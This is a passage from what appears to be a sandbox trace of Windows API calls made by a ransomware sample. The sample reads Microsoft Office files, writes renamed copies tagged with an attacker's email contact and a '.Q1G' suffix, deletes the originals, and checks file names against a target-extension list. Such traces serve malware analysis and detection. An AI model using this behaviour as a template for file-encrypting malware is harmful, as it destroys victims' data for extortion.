lpNewFilePointer=0x0) returned 1 [0252.166] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.167] GetLastError () returned 0x0 [0252.167] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x44a, lpOverlapped=0x0) returned 1 [0252.168] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x450, lpOverlapped=0x0) returned 1 [0252.169] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.169] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0252.169] SetEndOfFile (hFile=0x3a0) returned 1 [0252.169] CloseHandle (hObject=0x3a0) returned 1 [0252.169] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.169] SetEndOfFile (hFile=0x398) returned 1 [0252.171] CloseHandle (hObject=0x398) returned 1 [0252.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 1 [0252.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.172] lstrlenW (lpString=".doc") returned 4 [0252.172] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0252.172] lstrlenW (lpString=".docx") returned 5 [0252.172] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0252.172] lstrlenW (lpString=".pdf") returned 4 [0252.172] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0252.172] lstrlenW (lpString=".xls") returned 4 [0252.172] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0252.172] lstrlenW (lpString=".xlsx") returned 5 [0252.172] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0252.172] lstrlenW (lpString=".ppt") returned 4 [0252.172] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0252.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.172] lstrlenW (lpString=".zip") returned 4 [0252.172] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0252.172] lstrlenW (lpString=".rar") returned 4 [0252.173] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString=".bz2") returned 4 [0252.173] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString=".7z") returned 3 [0252.173] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0252.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.173] lstrlenW (lpString=".dbf") returned 4 [0252.173] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.173] lstrlenW (lpString=".1cd") returned 4 [0252.173] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.173] lstrlenW (lpString=".jpg") returned 4 [0252.173] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.173] lstrlenW (lpString=".doc") returned 4 [0252.173] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString=".docx") returned 5 [0252.173] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0252.173] lstrlenW (lpString=".pdf") returned 4 [0252.173] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString=".xls") returned 4 [0252.173] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0252.173] lstrlenW (lpString=".xlsx") returned 5 [0252.173] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0252.173] lstrlenW (lpString=".ppt") returned 4 [0252.173] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.173] lstrlenW (lpString=".zip") returned 4 [0252.173] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0252.173] lstrlenW (lpString=".rar") returned 4 [0252.173] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString=".bz2") returned 4 [0252.173] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0252.173] lstrlenW (lpString=".7z") returned 3 [0252.174] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0252.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.174] lstrlenW (lpString=".dbf") returned 4 [0252.174] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0252.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.174] lstrlenW (lpString=".1cd") returned 4 [0252.174] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0252.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0252.174] lstrlenW (lpString=".jpg") returned 4 [0252.174] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0252.174] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0252.174] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0252.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.174] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=66992) returned 1 [0252.174] CloseHandle (hObject=0x398) returned 1 [0252.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 0x20 [0252.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.175] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.175] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.176] GetLastError () returned 0x0 [0252.176] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x105b0, lpOverlapped=0x0) returned 1 [0252.178] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x105c0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x105c0, lpOverlapped=0x0) returned 1 [0252.180] ReadFile (in: hFile=0x398, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.180] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0252.180] SetEndOfFile (hFile=0x3a0) returned 1 [0252.180] CloseHandle (hObject=0x3a0) returned 1 [0252.180] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.180] SetEndOfFile (hFile=0x398) returned 1 [0252.184] CloseHandle (hObject=0x398) returned 1 [0252.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 1 [0252.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.185] lstrlenW (lpString=".doc") returned 4 [0252.185] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0252.185] lstrlenW (lpString=".docx") returned 5 [0252.185] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0252.185] lstrlenW (lpString=".pdf") returned 4 [0252.185] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0252.185] lstrlenW (lpString=".xls") returned 4 [0252.185] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0252.185] lstrlenW (lpString=".xlsx") returned 5 [0252.185] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0252.185] lstrlenW (lpString=".ppt") returned 4 [0252.185] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0252.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.185] lstrlenW (lpString=".zip") returned 4 [0252.185] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0252.185] lstrlenW (lpString=".rar") returned 4 [0252.185] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0252.185] lstrlenW (lpString=".bz2") returned 4 [0252.185] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0252.185] lstrlenW (lpString=".7z") returned 3 [0252.185] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0252.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.185] lstrlenW (lpString=".dbf") returned 4 [0252.186] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString=".1cd") returned 4 [0252.186] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString=".jpg") returned 4 [0252.186] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString=".doc") returned 4 [0252.186] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString=".docx") returned 5 [0252.186] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0252.186] lstrlenW (lpString=".pdf") returned 4 [0252.186] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString=".xls") returned 4 [0252.186] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0252.186] lstrlenW (lpString=".xlsx") returned 5 [0252.186] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0252.186] lstrlenW (lpString=".ppt") returned 4 [0252.186] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString=".zip") returned 4 [0252.186] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0252.186] lstrlenW (lpString=".rar") returned 4 [0252.186] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString=".bz2") returned 4 [0252.186] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString=".7z") returned 3 [0252.186] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString=".dbf") returned 4 [0252.186] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0252.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.186] lstrlenW (lpString=".1cd") returned 4 [0252.186] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0252.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0252.187] lstrlenW (lpString=".jpg") returned 4 [0252.187] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0252.187] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0252.187] lstrlenW (lpString="ospintl.dll") returned 11 [0252.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.187] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=18320) returned 1 [0252.187] CloseHandle (hObject=0x398) returned 1 [0252.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll")) returned 0x20 [0252.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.188] lstrlenW (lpString=".doc") returned 4 [0252.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0252.188] lstrlenW (lpString=".docx") returned 5 [0252.188] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0252.188] lstrlenW (lpString=".pdf") returned 4 [0252.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0252.188] lstrlenW (lpString=".xls") returned 4 [0252.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0252.188] lstrlenW (lpString=".xlsx") returned 5 [0252.188] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0252.188] lstrlenW (lpString=".ppt") returned 4 [0252.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0252.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.188] lstrlenW (lpString=".zip") returned 4 [0252.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0252.188] lstrlenW (lpString=".rar") returned 4 [0252.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0252.188] lstrlenW (lpString=".bz2") returned 4 [0252.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0252.188] lstrlenW (lpString=".7z") returned 3 [0252.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0252.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.188] lstrlenW (lpString=".dbf") returned 4 [0252.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0252.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.188] lstrlenW (lpString=".1cd") returned 4 [0252.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0252.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.188] lstrlenW (lpString=".jpg") returned 4 [0252.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.189] lstrlenW (lpString=".doc") returned 4 [0252.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString=".docx") returned 5 [0252.189] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0252.189] lstrlenW (lpString=".pdf") returned 4 [0252.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString=".xls") returned 4 [0252.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString=".xlsx") returned 5 [0252.189] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0252.189] lstrlenW (lpString=".ppt") returned 4 [0252.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.189] lstrlenW (lpString=".zip") returned 4 [0252.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString=".rar") returned 4 [0252.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0252.189] lstrlenW (lpString=".bz2") returned 4 [0252.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0252.189] lstrlenW (lpString=".7z") returned 3 [0252.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0252.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.189] lstrlenW (lpString=".dbf") returned 4 [0252.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0252.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.189] lstrlenW (lpString=".1cd") returned 4 [0252.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0252.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0252.189] lstrlenW (lpString=".jpg") returned 4 [0252.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0252.190] lstrcmpiW (lpString1=".INF", lpString2=".Q1G") returned -1 [0252.190] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0252.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.391] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2416) returned 1 [0252.391] CloseHandle (hObject=0x1fc) returned 1 [0252.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf")) returned 0x20 [0252.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.409] lstrlenW (lpString=".doc") returned 4 [0252.409] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0252.409] lstrlenW (lpString=".docx") returned 5 [0252.409] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0252.409] lstrlenW (lpString=".pdf") returned 4 [0252.409] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0252.409] lstrlenW (lpString=".xls") returned 4 [0252.409] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0252.409] lstrlenW (lpString=".xlsx") returned 5 [0252.409] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0252.409] lstrlenW (lpString=".ppt") returned 4 [0252.409] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0252.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.409] lstrlenW (lpString=".zip") returned 4 [0252.409] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0252.409] lstrlenW (lpString=".rar") returned 4 [0252.410] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString=".bz2") returned 4 [0252.410] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0252.410] lstrlenW (lpString=".7z") returned 3 [0252.410] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0252.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.410] lstrlenW (lpString=".dbf") returned 4 [0252.410] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0252.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.410] lstrlenW (lpString=".1cd") returned 4 [0252.410] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0252.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.410] lstrlenW (lpString=".jpg") returned 4 [0252.410] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.410] lstrlenW (lpString=".doc") returned 4 [0252.410] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0252.410] lstrlenW (lpString=".docx") returned 5 [0252.410] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0252.410] lstrlenW (lpString=".pdf") returned 4 [0252.410] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString=".xls") returned 4 [0252.410] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString=".xlsx") returned 5 [0252.410] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0252.410] lstrlenW (lpString=".ppt") returned 4 [0252.410] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.410] lstrlenW (lpString=".zip") returned 4 [0252.410] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString=".rar") returned 4 [0252.410] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0252.410] lstrlenW (lpString=".bz2") returned 4 [0252.410] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0252.410] lstrlenW (lpString=".7z") returned 3 [0252.411] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0252.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.411] lstrlenW (lpString=".dbf") returned 4 [0252.411] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0252.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.411] lstrlenW (lpString=".1cd") returned 4 [0252.411] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0252.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0252.411] lstrlenW 